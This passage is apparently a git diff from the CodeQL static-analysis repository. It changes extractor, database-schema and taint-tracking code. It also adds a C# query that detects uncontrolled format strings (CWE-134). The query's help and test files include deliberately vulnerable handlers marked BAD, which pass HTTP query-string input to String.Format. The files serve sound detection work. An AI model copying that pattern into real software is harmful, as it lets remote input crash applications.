@@ namespace Semmle.Extraction.Entities // remove the dot from the extension if (extension.Length > 0) extension = extension.Substring(1); - Context.Emit(Tuples.files(this, DatabasePath, name, extension)); + Context.Emit(Tuples.files(this, PathAsDatabaseString(Path), name, extension)); Context.Emit(Tuples.containerparent(Entities.Folder.Create(Context, fi.Directory), this)); if (fromSource == 1) @@ -73,14 +73,21 @@ namespace Semmle.Extraction.Entities } } - internal static string FileAsDatabaseString(string fileName) + /// + /// Converts a path string into a string to use as an ID + /// in the QL database. + /// + /// An absolute path. + /// The database ID. + public static string PathAsDatabaseId(string path) { - fileName = fileName.Replace('\\', '/'); - if (fileName.Length > 1 && fileName[1] == ':') - fileName = Char.ToUpper(fileName[0]) + fileName.Substring(1); - return fileName; + if (path.Length >= 2 && path[1] == ':' && Char.IsLower(path[0])) + path = Char.ToUpper(path[0]) + "_" + path.Substring(2); + return path.Replace('\\', '/').Replace(":", "_"); } + public static string PathAsDatabaseString(string path) => path.Replace('\\', '/'); + public static File Create(Context cx, string path) => FileFactory.Instance.CreateEntity(cx, path); public static File CreateGenerated(Context cx) => GeneratedFile.Create(cx); diff --git a/csharp/extractor/Semmle.Extraction/Entities/Folder.cs b/csharp/extractor/Semmle.Extraction/Entities/Folder.cs index edc59540770..178d61faabb 100644 --- a/csharp/extractor/Semmle.Extraction/Entities/Folder.cs +++ b/csharp/extractor/Semmle.Extraction/Entities/Folder.cs @@ -16,7 +16,7 @@ namespace Semmle.Extraction.Entities private set; } - public string DatabasePath => File.FileAsDatabaseString(Path); + public string DatabasePath => File.PathAsDatabaseId(Path); public override void Populate() { @@ -27,7 +27,7 @@ namespace Semmle.Extraction.Entities // On Windows: System.IO.DirectoryInfo.Name returns "L:\" string shortName = symbol.Parent == null ? "" : symbol.Name; - Context.Emit(Tuples.folders(this, DatabasePath, shortName)); + Context.Emit(Tuples.folders(this, Semmle.Extraction.Entities.File.PathAsDatabaseString(Path), shortName)); if (symbol.Parent != null) { Context.Emit(Tuples.containerparent(Create(Context, symbol.Parent), this)); diff --git a/csharp/ql/src/.project b/csharp/ql/src/.project index 949b5db1a7c..1322b1b339e 100644 --- a/csharp/ql/src/.project +++ b/csharp/ql/src/.project @@ -5,19 +5,8 @@ - - org.eclipse.pde.ManifestBuilder - - - - - org.eclipse.pde.SchemaBuilder - - - - org.eclipse.pde.PluginNature com.semmle.plugin.qdt.core.qlnature diff --git a/csharp/ql/src/META-INF/MANIFEST.MF b/csharp/ql/src/META-INF/MANIFEST.MF deleted file mode 100644 index 9ee778191ae..00000000000 --- a/csharp/ql/src/META-INF/MANIFEST.MF +++ /dev/null @@ -1,8 +0,0 @@ -Manifest-Version: 1.0 -Bundle-ManifestVersion: 2 -Bundle-Name: Semmle C# Default Queries -Bundle-SymbolicName: com.semmle.plugin.semmlecode.csharp.queries;singleton:=true -Bundle-Version: 1.18.3.qualifier -Bundle-Vendor: Semmle Ltd. -Bundle-ActivationPolicy: lazy -Require-Bundle: com.semmle.plugin.qdt.ui;bundle-version="[1.18.3.qualifier,1.18.3.qualifier]" diff --git a/csharp/ql/src/Security Features/CWE-134/UncontrolledFormatString.qhelp b/csharp/ql/src/Security Features/CWE-134/UncontrolledFormatString.qhelp new file mode 100644 index 00000000000..cc40358f2db --- /dev/null +++ b/csharp/ql/src/Security Features/CWE-134/UncontrolledFormatString.qhelp @@ -0,0 +1,44 @@ + + + +

+Passing untrusted format strings to String.Format can throw exceptions +and cause a denial of service. For example, if the format string references a missing argument, +or an argument of the wrong type, then System.FormatException is thrown. +

+ +
+ + +

Use a string literal for the format string to prevent the possibility of data flow from +an untrusted source. This also helps to prevent errors where the arguments to +String.Format do not match the format string.

+ +

If the format string cannot be constant, ensure that it comes from a secure +data source or is compiled into the source code.

+ +
+ + +

In this example, the format string is read from an HTTP request, which could cause +the application to crash.

+ + + +
+ + +
+ +
  • +Microsoft docs: +String.Format Method +
  • + + + diff --git a/csharp/ql/src/Security Features/CWE-134/UncontrolledFormatString.ql b/csharp/ql/src/Security Features/CWE-134/UncontrolledFormatString.ql new file mode 100644 index 00000000000..dbebe8fa8ef --- /dev/null +++ b/csharp/ql/src/Security Features/CWE-134/UncontrolledFormatString.ql @@ -0,0 +1,34 @@ +/** + * @name Uncontrolled format string + * @description Passing untrusted format strings from remote data sources can throw exceptions + * and cause a denial of service. + * @kind path-problem + * @problem.severity error + * @precision high + * @id cs/uncontrolled-format-string + * @tags security + * external/cwe/cwe-134 + */ + +import csharp +import semmle.code.csharp.dataflow.flowsources.Remote +import semmle.code.csharp.dataflow.TaintTracking +import semmle.code.csharp.frameworks.Format +import DataFlow::PathGraph + +class FormatStringConfiguration extends TaintTracking::Configuration { + FormatStringConfiguration() { this = "FormatStringConfiguration" } + + override predicate isSource(DataFlow::Node source) { + source instanceof RemoteFlowSource + } + + override predicate isSink(DataFlow::Node sink) { + sink.asExpr() = any(FormatCall call).getFormatExpr() + } +} + +from FormatStringConfiguration config, DataFlow::PathNode source, DataFlow::PathNode sink +where config.hasFlowPath(source, sink) +select sink.getNode(), source, sink, + "$@ flows to here and is used as a format string.", source.getNode(), source.getNode().toString() diff --git a/csharp/ql/src/Security Features/CWE-134/UncontrolledFormatStringBad.cs b/csharp/ql/src/Security Features/CWE-134/UncontrolledFormatStringBad.cs new file mode 100644 index 00000000000..720354e9a03 --- /dev/null +++ b/csharp/ql/src/Security Features/CWE-134/UncontrolledFormatStringBad.cs @@ -0,0 +1,14 @@ +using System.Web; + +public class HttpHandler : IHttpHandler +{ + string Surname, Forenames, FormattedName; + + public void ProcessRequest(HttpContext ctx) + { + string format = ctx.Request.QueryString["nameformat"]; + + // BAD: Uncontrolled format string. + FormattedName = string.Format(format, Surname, Forenames); + } +} diff --git a/csharp/ql/src/plugin.xml b/csharp/ql/src/plugin.xml deleted file mode 100644 index 532f6c121ad..00000000000 --- a/csharp/ql/src/plugin.xml +++ /dev/null @@ -1,16 +0,0 @@ - - - - - - - - - - - - - - - - diff --git a/csharp/ql/src/semmle/code/csharp/commons/Disposal.qll b/csharp/ql/src/semmle/code/csharp/commons/Disposal.qll index 27cb264730d..289999fe03a 100644 --- a/csharp/ql/src/semmle/code/csharp/commons/Disposal.qll +++ b/csharp/ql/src/semmle/code/csharp/commons/Disposal.qll @@ -38,7 +38,7 @@ private predicate disposedCSharpVariable(Variable variable) { // A C# parameter is disposed if its corresponding CIL parameter is disposed exists(CIL::Method m, CIL::Parameter p, int i | disposedCilVariable(p) and p = m.getRawParameter(i) | - variable = any(Callable c2 | c2.getLabel() = m.getLabel()).getRawParameter(i) + variable = any(Callable c2 | c2.matchesHandle(m)).getRawParameter(i) ) or // Call to a method that disposes it diff --git a/csharp/ql/src/semmle/code/csharp/dataflow/DataFlow.qll b/csharp/ql/src/semmle/code/csharp/dataflow/DataFlow.qll index 1f4a48e4629..2af9d3d3e27 100755 --- a/csharp/ql/src/semmle/code/csharp/dataflow/DataFlow.qll +++ b/csharp/ql/src/semmle/code/csharp/dataflow/DataFlow.qll @@ -638,14 +638,14 @@ module DataFlow { result = sourceDecl else if sourceDecl instanceof CIL::Callable then // CIL callable with C# implementation in the database - sourceDecl.getLabel() = result.(Callable).getLabel() + sourceDecl.matchesHandle(result.(Callable)) or // CIL callable without C# implementation in the database - not sourceDecl.getLabel() = any(Callable k).getLabel() and + not sourceDecl.matchesHandle(any(Callable k)) and result = sourceDecl else // C# callable without C# implementation in the database - sourceDecl.getLabel() = result.(CIL::Callable).getLabel() + sourceDecl.matchesHandle(result.(CIL::Callable)) ) } diff --git a/csharp/ql/src/semmle/code/dotnet/Element.qll b/csharp/ql/src/semmle/code/dotnet/Element.qll index 739a31ec16b..2a45758d414 100644 --- a/csharp/ql/src/semmle/code/dotnet/Element.qll +++ b/csharp/ql/src/semmle/code/dotnet/Element.qll @@ -83,6 +83,14 @@ class NamedElement extends Element, @dotnet_named_element { cached string getLabel() { none() } + /** Holds if `other` has the same metadata handle in the same assembly. */ + predicate matchesHandle(NamedElement other) { + exists(Assembly asm, int handle | + metadata_handle(this, asm, handle) and + metadata_handle(other, asm, handle) + ) + } + /** * Holds if this element was compiled from source code that is also present in the * database. That is, this element corresponds to another element from source. diff --git a/csharp/ql/src/semmlecode.csharp.dbscheme b/csharp/ql/src/semmlecode.csharp.dbscheme index 2dc7da725df..34565707dfb 100644 --- a/csharp/ql/src/semmlecode.csharp.dbscheme +++ b/csharp/ql/src/semmlecode.csharp.dbscheme @@ -1699,3 +1699,9 @@ cil_attribute_positional_argument( @dotnet_int_literal = @integer_literal_expr | @cil_ldc_i; @dotnet_float_literal = @float_literal_expr | @cil_ldc_r; @dotnet_null_literal = @null_literal_expr | @cil_ldnull; + +@metadata_entity = @cil_method | @cil_type | @cil_field | @cil_property | @field | @property | + @callable | @value_or_ref_type | @void_type; + +#keyset[entity, location] +metadata_handle(int entity : @metadata_entity ref, int location: @assembly ref, int handle: int ref) diff --git a/csharp/ql/src/semmlecode.csharp.dbscheme.stats b/csharp/ql/src/semmlecode.csharp.dbscheme.stats index 76e7fae23bd..39a1051466a 100644 --- a/csharp/ql/src/semmlecode.csharp.dbscheme.stats +++ b/csharp/ql/src/semmlecode.csharp.dbscheme.stats @@ -40305,5 +40305,316 @@
  • +OWASP: +Format string attack. +
  • + +metadata_handle +1804113 + + +entity +1511783 + + +location +739 + + +handle +110643 + + + + +entity +location + + +12 + + +1 +2 +1262414 + + +2 +3 +218111 + + +3 +105 +31258 + + + + + + +entity +handle + + +12 + + +1 +2 +1447498 + + +2 +21 +64285 + + + + + + +location +entity + + +12 + + +1 +2 +21 + + +2 +3 +195 + + +3 +67 +57 + + +67 +176 +56 + + +179 +272 +56 + + +272 +444 +57 + + +445 +661 +57 + + +662 +1050 +56 + + +1056 +1774 +56 + + +1817 +3669 +56 + + +3709 +21439 +56 + + +29229 +110459 +16 + + + + + + +location +handle + + +12 + + +1 +2 +216 + + +3 +39 +56 + + +39 +98 +59 + + +98 +162 +58 + + +163 +264 +56 + + +266 +400 +57 + + +401 +609 +56 + + +609 +1248 +57 + + +1264 +2514 +56 + + +2573 +29166 +56 + + +33233 +110459 +12 + + + + + + +handle +entity + + +12 + + +1 +2 +154 + + +2 +3 +55594 + + +3 +7 +9734 + + +7 +11 +8242 + + +11 +16 +8674 + + +16 +22 +8057 + + +22 +26 +8367 + + +26 +68 +8331 + + +68 +810 +3490 + + + + + + +handle +location + + +12 + + +2 +3 +55667 + + +3 +5 +7084 + + +5 +7 +8482 + + +7 +11 +8359 + + +11 +16 +8708 + + +16 +18 +7661 + + +18 +34 +8317 + + +34 +740 +6365 + + + + + + +
    diff --git a/csharp/ql/test/library-tests/cil/consistency/Handles.expected b/csharp/ql/test/library-tests/cil/consistency/Handles.expected new file mode 100644 index 00000000000..0c1b327739e --- /dev/null +++ b/csharp/ql/test/library-tests/cil/consistency/Handles.expected @@ -0,0 +1,14 @@ +tooManyMatchingHandles +missingCil +cilLocationViolation +csharpLocationViolation +matchingObjectMethods +| Equals(object) | System.Boolean System.Object.Equals(System.Object) | +| Equals(object, object) | System.Boolean System.Object.Equals(System.Object,System.Object) | +| GetHashCode() | System.Int32 System.Object.GetHashCode() | +| GetType() | System.Type System.Object.GetType() | +| MemberwiseClone() | System.Object System.Object.MemberwiseClone() | +| Object() | System.Void System.Object..ctor() | +| ReferenceEquals(object, object) | System.Boolean System.Object.ReferenceEquals(System.Object,System.Object) | +| ToString() | System.String System.Object.ToString() | +| ~Object() | System.Void System.Object.Finalize() | diff --git a/csharp/ql/test/library-tests/cil/consistency/Handles.ql b/csharp/ql/test/library-tests/cil/consistency/Handles.ql new file mode 100644 index 00000000000..760a60d8bdd --- /dev/null +++ b/csharp/ql/test/library-tests/cil/consistency/Handles.ql @@ -0,0 +1,51 @@ +import csharp +import cil +import dotnet + +class MetadataEntity extends DotNet::NamedElement, @metadata_entity { + int getHandle() { metadata_handle(this, _, result) } + + predicate hasHandle() { exists(getHandle()) } + + Assembly getAssembly() { metadata_handle(this, result, _) } +} + +query predicate tooManyMatchingHandles(MetadataEntity e) { + strictcount(MetadataEntity e2 | e.matchesHandle(e2)) > 2 +} + +query predicate missingCil(Element e) { + ( + e instanceof Callable + or + e instanceof Type + or + e instanceof Field + ) and + e.fromLibrary() and + e.(MetadataEntity).hasHandle() and + not exists(CIL::Element ce | ce.(MetadataEntity).matchesHandle(e)) +} + +query predicate cilLocationViolation(CIL::Element e) { + e instanceof MetadataEntity + and + exists(e.getALocation()) + and + not e.getALocation() = e.(MetadataEntity).getAssembly() +} + +query predicate csharpLocationViolation(Element e) { + e.fromLibrary() and + e.(MetadataEntity).hasHandle() and + not e.getALocation() = e.(MetadataEntity).getAssembly() +} + +query predicate matchingObjectMethods(string s1, string s2) { + exists(Callable m1, CIL::Method m2 | + m1.getDeclaringType().getQualifiedName() = "System.Object" + and m1.matchesHandle(m2) and + s1 = m1.toStringWithTypes() and + s2 = m2.toStringWithTypes() + ) +} diff --git a/csharp/ql/test/query-tests/Security Features/CWE-134/UncontrolledFormatString.cs b/csharp/ql/test/query-tests/Security Features/CWE-134/UncontrolledFormatString.cs new file mode 100644 index 00000000000..2edeb91f357 --- /dev/null +++ b/csharp/ql/test/query-tests/Security Features/CWE-134/UncontrolledFormatString.cs @@ -0,0 +1,25 @@ +// semmle-extractor-options: /r:System.Runtime.Extensions.dll /r:System.Collections.Specialized.dll ${testdir}/../../../resources/stubs/System.Web.cs + +using System; +using System.IO; +using System.Web; + +public class TaintedPathHandler : IHttpHandler +{ + public void ProcessRequest(HttpContext ctx) + { + String path = ctx.Request.QueryString["page"]; + + // BAD: Uncontrolled format string. + String.Format(path, "Do not do this"); + + // BAD: Using an IFormatProvider. + String.Format((IFormatProvider)null, path, "Do not do this"); + + // GOOD: Not the format string. + String.Format("Do not do this", path); + + // GOOD: Not the format string. + String.Format((IFormatProvider)null, "Do not do this", path); + } +} diff --git a/csharp/ql/test/query-tests/Security Features/CWE-134/UncontrolledFormatString.expected b/csharp/ql/test/query-tests/Security Features/CWE-134/UncontrolledFormatString.expected new file mode 100644 index 00000000000..fb4260c8275 --- /dev/null +++ b/csharp/ql/test/query-tests/Security Features/CWE-134/UncontrolledFormatString.expected @@ -0,0 +1,16 @@ +edges +| UncontrolledFormatString.cs:11:23:11:45 | access to property QueryString | UncontrolledFormatString.cs:14:23:14:26 | access to local variable path | +| UncontrolledFormatString.cs:11:23:11:45 | access to property QueryString | UncontrolledFormatString.cs:17:46:17:49 | access to local variable path | +| UncontrolledFormatStringBad.cs:9:25:9:47 | access to property QueryString | UncontrolledFormatStringBad.cs:12:39:12:44 | access to local variable format | +nodes +| UncontrolledFormatString.cs:11:23:11:45 | access to property QueryString | +| UncontrolledFormatString.cs:14:23:14:26 | access to local variable path | +| UncontrolledFormatString.cs:17:46:17:49 | access to local variable path | +| UncontrolledFormatString.cs:20:23:20:38 | "Do not do this" | +| UncontrolledFormatString.cs:23:46:23:61 | "Do not do this" | +| UncontrolledFormatStringBad.cs:9:25:9:47 | access to property QueryString | +| UncontrolledFormatStringBad.cs:12:39:12:44 | access to local variable format | +#select +| UncontrolledFormatString.cs:14:23:14:26 | access to local variable path | UncontrolledFormatString.cs:11:23:11:45 | access to property QueryString | UncontrolledFormatString.cs:14:23:14:26 | access to local variable path | $@ flows to here and is used as a format string. | UncontrolledFormatString.cs:11:23:11:45 | access to property QueryString | access to property QueryString | +| UncontrolledFormatString.cs:17:46:17:49 | access to local variable path | UncontrolledFormatString.cs:11:23:11:45 | access to property QueryString | UncontrolledFormatString.cs:17:46:17:49 | access to local variable path | $@ flows to here and is used as a format string. | UncontrolledFormatString.cs:11:23:11:45 | access to property QueryString | access to property QueryString | +| UncontrolledFormatStringBad.cs:12:39:12:44 | access to local variable format | UncontrolledFormatStringBad.cs:9:25:9:47 | access to property QueryString | UncontrolledFormatStringBad.cs:12:39:12:44 | access to local variable format | $@ flows to here and is used as a format string. | UncontrolledFormatStringBad.cs:9:25:9:47 | access to property QueryString | access to property QueryString | diff --git a/csharp/ql/test/query-tests/Security Features/CWE-134/UncontrolledFormatString.qlref b/csharp/ql/test/query-tests/Security Features/CWE-134/UncontrolledFormatString.qlref new file mode 100644 index 00000000000..4b10fc1cb76 --- /dev/null +++ b/csharp/ql/test/query-tests/Security Features/CWE-134/UncontrolledFormatString.qlref @@ -0,0 +1 @@ +Security Features/CWE-134/UncontrolledFormatString.ql \ No newline at end of file diff --git a/csharp/ql/test/query-tests/Security Features/CWE-134/UncontrolledFormatStringBad.cs b/csharp/ql/test/query-tests/Security Features/CWE-134/UncontrolledFormatStringBad.cs new file mode 100644 index 00000000000..720354e9a03 --- /dev/null +++ b/csharp/ql/test/query-tests/Security Features/CWE-134/UncontrolledFormatStringBad.cs @@ -0,0 +1,14 @@ +using System.Web; + +public class HttpHandler : IHttpHandler +{ + string Surname, Forenames, FormattedName; + + public void ProcessRequest(HttpContext ctx) + { + string format = ctx.Request.QueryString["nameformat"]; + + // BAD: Uncontrolled format string. + FormattedName = string.Format(format, Surname, Forenames); + } +} diff --git a/java/ql/src/META-INF/MANIFEST.MF b/java/ql/src/META-INF/MANIFEST.MF deleted file mode 100644 index cb4864fe9d7..00000000000 --- a/java/ql/src/META-INF/MANIFEST.MF +++ /dev/null @@ -1,9 +0,0 @@ -Manifest-Version: 1.0 -Bundle-ManifestVersion: 2 -Bundle-Name: Semmle Default Java Queries -Bundle-SymbolicName: com.semmle.plugin.semmlecode.queries;singleton:=true -Bundle-Version: 1.18.3.qualifier -Bundle-Vendor: Semmle Ltd. -Bundle-ActivationPolicy: lazy -Require-Bundle: com.semmle.plugin.qdt.ui;bundle-version="[1.18.3.qualifier,1.18.3.qualifier]" - diff --git a/java/ql/src/config/semmlecode.dbscheme b/java/ql/src/config/semmlecode.dbscheme index 87750e19e59..38ae99eeab7 100755 --- a/java/ql/src/config/semmlecode.dbscheme +++ b/java/ql/src/config/semmlecode.dbscheme @@ -818,4 +818,29 @@ xmllocations( @xmllocatable = @xmlcharacters | @xmlelement | @xmlcomment | @xmlattribute | @xmldtd | @file | @xmlnamespace; +/* + * configuration files with key value pairs + */ +configs( + unique int id: @config +); + +configNames( + unique int id: @configName, + int config: @config ref, + string name: string ref +); + +configValues( + unique int id: @configValue, + int config: @config ref, + string value: string ref +); + +configLocations( + int locatable: @configLocatable ref, + int location: @location_default ref +); + +@configLocatable = @config | @configName | @configValue; diff --git a/java/ql/src/config/semmlecode.dbscheme.stats b/java/ql/src/config/semmlecode.dbscheme.stats index 3f7eacf917f..345b78920aa 100644 --- a/java/ql/src/config/semmlecode.dbscheme.stats +++ b/java/ql/src/config/semmlecode.dbscheme.stats @@ -535,6 +535,18 @@ @xmlcharacters 439958 + +@config +69795 + + +@configName +69794 + + +@configValue +69691 + externalData @@ -23437,5 +23449,376 @@ + +configs +69795 + + +id +69795 + + + + + +configNames +69794 + + +id +69794 + + +config +69794 + + +name +12859 + + + + +id +config + + +12 + + +1 +2 +69794 + + + + + + +id +name + + +12 + + +1 +2 +69794 + + + + + + +config +id + + +12 + + +1 +2 +69794 + + + + + + +config +name + + +12 + + +1 +2 +69794 + + + + + + +name +id + + +12 + + +1 +2 +4858 + + +2 +3 +593 + + +3 +4 +2806 + + +4 +10 +169 + + +10 +11 +1900 + + +11 +12 +1757 + + +12 +111 +776 + + + + + + +name +config + + +12 + + +1 +2 +4858 + + +2 +3 +593 + + +3 +4 +2806 + + +4 +10 +169 + + +10 +11 +1900 + + +11 +12 +1757 + + +12 +111 +776 + + + + + + + + +configValues +69691 + + +id +69691 + + +config +69691 + + +value +54399 + + + + +id +config + + +12 + + +1 +2 +69691 + + + + + + +id +value + + +12 + + +1 +2 +69691 + + + + + + +config +id + + +12 + + +1 +2 +69691 + + + + + + +config +value + + +12 + + +1 +2 +69691 + + + + + + +value +id + + +12 + + +1 +2 +48220 + + +2 +4 +4804 + + +4 +546 +1375 + + + + + + +value +config + + +12 + + +1 +2 +48220 + + +2 +4 +4804 + + +4 +546 +1375 + + + + + + + + +configLocations +209280 + + +locatable +209280 + + +location +209280 + + + + +locatable +location + + +12 + + +1 +2 +209280 + + + + + + +location +locatable + + +12 + + +1 +2 +209280 + + + + + + + diff --git a/java/ql/src/definitions.ql b/java/ql/src/definitions.ql index 847d6f155d7..d02a8d931b9 100644 --- a/java/ql/src/definitions.ql +++ b/java/ql/src/definitions.ql @@ -158,7 +158,9 @@ class LocationOverridingImportStaticTypeMember extends ImportStaticTypeMember { } Element definition(Element e, string kind) { - e.(MethodAccess).getMethod().getSourceDeclaration() = result and kind = "M" + e.(MethodAccess).getMethod().getSourceDeclaration() = result and + kind = "M" and + not result instanceof InitializerMethod or e.(TypeAccess).getType().(RefType).getSourceDeclaration() = result and kind = "T" or diff --git a/java/ql/src/plugin.xml b/java/ql/src/plugin.xml deleted file mode 100644 index e129a194b56..00000000000 --- a/java/ql/src/plugin.xml +++ /dev/null @@ -1,16 +0,0 @@ - - - - - - - - - - - - - - - - diff --git a/java/ql/src/semmle/code/java/Annotation.qll b/java/ql/src/semmle/code/java/Annotation.qll index d7de0d34cbb..64a597e1e55 100755 --- a/java/ql/src/semmle/code/java/Annotation.qll +++ b/java/ql/src/semmle/code/java/Annotation.qll @@ -24,7 +24,13 @@ class Annotation extends @annotation, Expr { predicate isTypeAnnotation() { this instanceof TypeAnnotation } /** Gets the element being annotated. */ - Element getAnnotatedElement() { this.getParent() = result } + Element getAnnotatedElement() { + this.getParent().(Field).getDeclaration().getAField() = result and + this.getCompilationUnit().fromSource() + or + not result.(Field).getCompilationUnit().fromSource() and + this.getParent() = result + } /** Gets the annotation type declaration for this annotation. */ override AnnotationType getType() { result = Expr.super.getType() } @@ -41,7 +47,7 @@ class Annotation extends @annotation, Expr { Expr getValue(string name) { filteredAnnotValue(this, this.getAnnotationElement(name), result) } /** Gets the element being annotated. */ - Element getTarget() { exprs(this, _, _, result, _) } + Element getTarget() { result = getAnnotatedElement() } override string toString() { result = this.getType().getName() } diff --git a/java/ql/src/semmle/code/java/dataflow/TaintTracking.qll b/java/ql/src/semmle/code/java/dataflow/TaintTracking.qll index 4d1edc49069..78b0f382f8c 100644 --- a/java/ql/src/semmle/code/java/dataflow/TaintTracking.qll +++ b/java/ql/src/semmle/code/java/dataflow/TaintTracking.qll @@ -226,8 +226,6 @@ module TaintTracking { stringBuilderStep(src, sink) or serializationStep(src, sink) - or - qualifierToArgStep(src, sink) } private class BulkData extends RefType { @@ -353,6 +351,10 @@ module TaintTracking { m.getDeclaringType().hasQualifiedName("java.io", "ByteArrayOutputStream") and m.hasName("writeTo") and arg = 0 + or + m.getDeclaringType().hasQualifiedName("java.io", "InputStream") and + m.hasName("read") and + arg = 0 } /** Access to a method that passes taint from the qualifier. */ @@ -596,29 +598,6 @@ module TaintTracking { arg = 0 } - /** - * Holds if `tracked` is a qualifier and `sink` is an argument - * of a method that transfers taint from the qualifier to the argument. - */ - private predicate qualifierToArgStep(Expr tracked, RValue sink) { - exists(MethodAccess ma, Method method, int i | - taintPreservingQualifierToArg(method, i) and - ma.getMethod() = method and - ma.getArgument(i) = sink and - ma.getQualifier() = tracked - ) - } - - /** - * Holds if `method` is a method that transfers taint from the qualifier - * to the `i`th argument. - */ - private predicate taintPreservingQualifierToArg(Method method, int i) { - method.getDeclaringType().hasQualifiedName("java.io", "InputStream") and - method.hasName("read") and - i = 0 - } - /** A comparison or equality test with a constant. */ private predicate comparisonStep(Expr tracked, Expr sink) { exists(Expr other | diff --git a/java/ql/test/library-tests/dataflow/fields/C.java b/java/ql/test/library-tests/dataflow/fields/C.java new file mode 100644 index 00000000000..19c702568a0 --- /dev/null +++ b/java/ql/test/library-tests/dataflow/fields/C.java @@ -0,0 +1,27 @@ +public class C { + + private Elem s1 = new Elem(); + private final Elem s2 = new Elem(); + private Elem s3; + private static Elem s4 = new Elem(); + + public static void main(String[] args){ + C c = new C(); + c.func(); + } + + private C() { + this.s3 = new Elem(); + } + + public void func(){ + sink(s1); + sink(s2); + sink(s3); + sink(s4); + } + + public static void sink(Object o) { } + + public static class Elem { } +} diff --git a/java/ql/test/library-tests/dataflow/fields/flow.expected b/java/ql/test/library-tests/dataflow/fields/flow.expected index 49fa14cfd60..15c5142440c 100644 --- a/java/ql/test/library-tests/dataflow/fields/flow.expected +++ b/java/ql/test/library-tests/dataflow/fields/flow.expected @@ -15,3 +15,7 @@ | B.java:4:14:4:23 | new Elem(...) | B.java:8:10:8:22 | b2.box1.elem2 | | B.java:12:14:12:23 | new Elem(...) | B.java:15:10:15:22 | b2.box1.elem1 | | B.java:12:14:12:23 | new Elem(...) | B.java:16:10:16:22 | b2.box1.elem2 | +| C.java:3:21:3:30 | new Elem(...) | C.java:18:10:18:11 | s1 | +| C.java:4:27:4:36 | new Elem(...) | C.java:19:10:19:11 | s2 | +| C.java:6:28:6:37 | new Elem(...) | C.java:21:10:21:11 | s4 | +| C.java:14:15:14:24 | new Elem(...) | C.java:20:10:20:11 | s3 | diff --git a/java/ql/test/library-tests/structure/EnclosingCallables.expected b/java/ql/test/library-tests/structure/EnclosingCallables.expected index 2655bfc1888..e6f9c4a6598 100644 --- a/java/ql/test/library-tests/structure/EnclosingCallables.expected +++ b/java/ql/test/library-tests/structure/EnclosingCallables.expected @@ -6,6 +6,7 @@ | structure/A.java:15:17:15:17 | A | --none-- | | structure/A.java:16:2:16:4 | int | --none-- | | structure/A.java:21:2:21:4 | int | --none-- | +| structure/A.java:24:7:24:7 | (...) | D | | structure/A.java:24:17:24:17 | B | --none-- | | structure/A.java:25:4:25:13 | new (...) | | | structure/A.java:25:8:25:8 | C | | diff --git a/java/ql/test/library-tests/structure/EnclosingStatements.expected b/java/ql/test/library-tests/structure/EnclosingStatements.expected index 45347b3f083..44cd941e34a 100644 --- a/java/ql/test/library-tests/structure/EnclosingStatements.expected +++ b/java/ql/test/library-tests/structure/EnclosingStatements.expected @@ -6,6 +6,7 @@ | structure/A.java:15:17:15:17 | A | --none-- | | structure/A.java:16:2:16:4 | int | --none-- | | structure/A.java:21:2:21:4 | int | --none-- | +| structure/A.java:24:7:24:7 | (...) | stmt on line 24 | | structure/A.java:24:17:24:17 | B | --none-- | | structure/A.java:25:4:25:13 | new (...) | stmt on line 25 | | structure/A.java:25:8:25:8 | C | stmt on line 25 | diff --git a/java/ql/test/library-tests/successors/TestLoopBranch/TestSucc.expected b/java/ql/test/library-tests/successors/TestLoopBranch/TestSucc.expected index 384599c71c0..d487429aff1 100644 --- a/java/ql/test/library-tests/successors/TestLoopBranch/TestSucc.expected +++ b/java/ql/test/library-tests/successors/TestLoopBranch/TestSucc.expected @@ -229,7 +229,9 @@ | TestLoopBranch.java:105:7:105:11 | ... + ... | TestLoopBranch.java:105:3:105:11 | ...=... | | TestLoopBranch.java:105:11:105:11 | y | TestLoopBranch.java:105:7:105:11 | ... + ... | | TestLoopBranch.java:106:3:106:9 | stmt | TestLoopBranch.java:7:14:7:14 | f | -| TestLoopBranch.java:109:9:109:22 | super(...) | TestLoopBranch.java:111:3:111:10 | stmt | +| TestLoopBranch.java:109:9:109:22 | (...) | TestLoopBranch.java:111:3:111:10 | stmt | +| TestLoopBranch.java:109:9:109:22 | stmt | TestLoopBranch.java:109:9:109:22 | (...) | +| TestLoopBranch.java:109:9:109:22 | super(...) | TestLoopBranch.java:109:9:109:22 | stmt | | TestLoopBranch.java:110:2:113:2 | stmt | TestLoopBranch.java:109:9:109:22 | super(...) | | TestLoopBranch.java:111:3:111:9 | ...=... | TestLoopBranch.java:112:3:112:10 | stmt | | TestLoopBranch.java:111:3:111:10 | stmt | TestLoopBranch.java:111:8:111:9 | 33 | @@ -237,7 +239,9 @@ | TestLoopBranch.java:112:3:112:9 | ...=... | TestLoopBranch.java:109:9:109:22 | TestLoopBranch | | TestLoopBranch.java:112:3:112:10 | stmt | TestLoopBranch.java:112:8:112:9 | 44 | | TestLoopBranch.java:112:8:112:9 | 44 | TestLoopBranch.java:112:3:112:9 | ...=... | -| TestLoopBranch.java:115:9:115:22 | super(...) | TestLoopBranch.java:117:3:117:9 | stmt | +| TestLoopBranch.java:115:9:115:22 | (...) | TestLoopBranch.java:117:3:117:9 | stmt | +| TestLoopBranch.java:115:9:115:22 | stmt | TestLoopBranch.java:115:9:115:22 | (...) | +| TestLoopBranch.java:115:9:115:22 | super(...) | TestLoopBranch.java:115:9:115:22 | stmt | | TestLoopBranch.java:116:2:119:2 | stmt | TestLoopBranch.java:115:9:115:22 | super(...) | | TestLoopBranch.java:117:3:117:8 | ...=... | TestLoopBranch.java:118:3:118:9 | stmt | | TestLoopBranch.java:117:3:117:9 | stmt | TestLoopBranch.java:117:8:117:8 | i | diff --git a/java/ql/test/library-tests/successors/TestThrow2/TestSucc.expected b/java/ql/test/library-tests/successors/TestThrow2/TestSucc.expected index e617aa7ffa4..6f8efd945d6 100644 --- a/java/ql/test/library-tests/successors/TestThrow2/TestSucc.expected +++ b/java/ql/test/library-tests/successors/TestThrow2/TestSucc.expected @@ -1,6 +1,8 @@ +| TestThrow2.java:3:7:3:16 | (...) | TestThrow2.java:3:7:3:16 | TestThrow2 | +| TestThrow2.java:3:7:3:16 | stmt | TestThrow2.java:3:7:3:16 | (...) | | TestThrow2.java:3:7:3:16 | stmt | TestThrow2.java:3:7:3:16 | super(...) | | TestThrow2.java:3:7:3:16 | stmt | TestThrow2.java:5:2:11:2 | stmt | -| TestThrow2.java:3:7:3:16 | super(...) | TestThrow2.java:3:7:3:16 | TestThrow2 | +| TestThrow2.java:3:7:3:16 | super(...) | TestThrow2.java:3:7:3:16 | stmt | | TestThrow2.java:5:2:11:2 | stmt | TestThrow2.java:6:3:10:3 | stmt | | TestThrow2.java:6:3:10:3 | stmt | 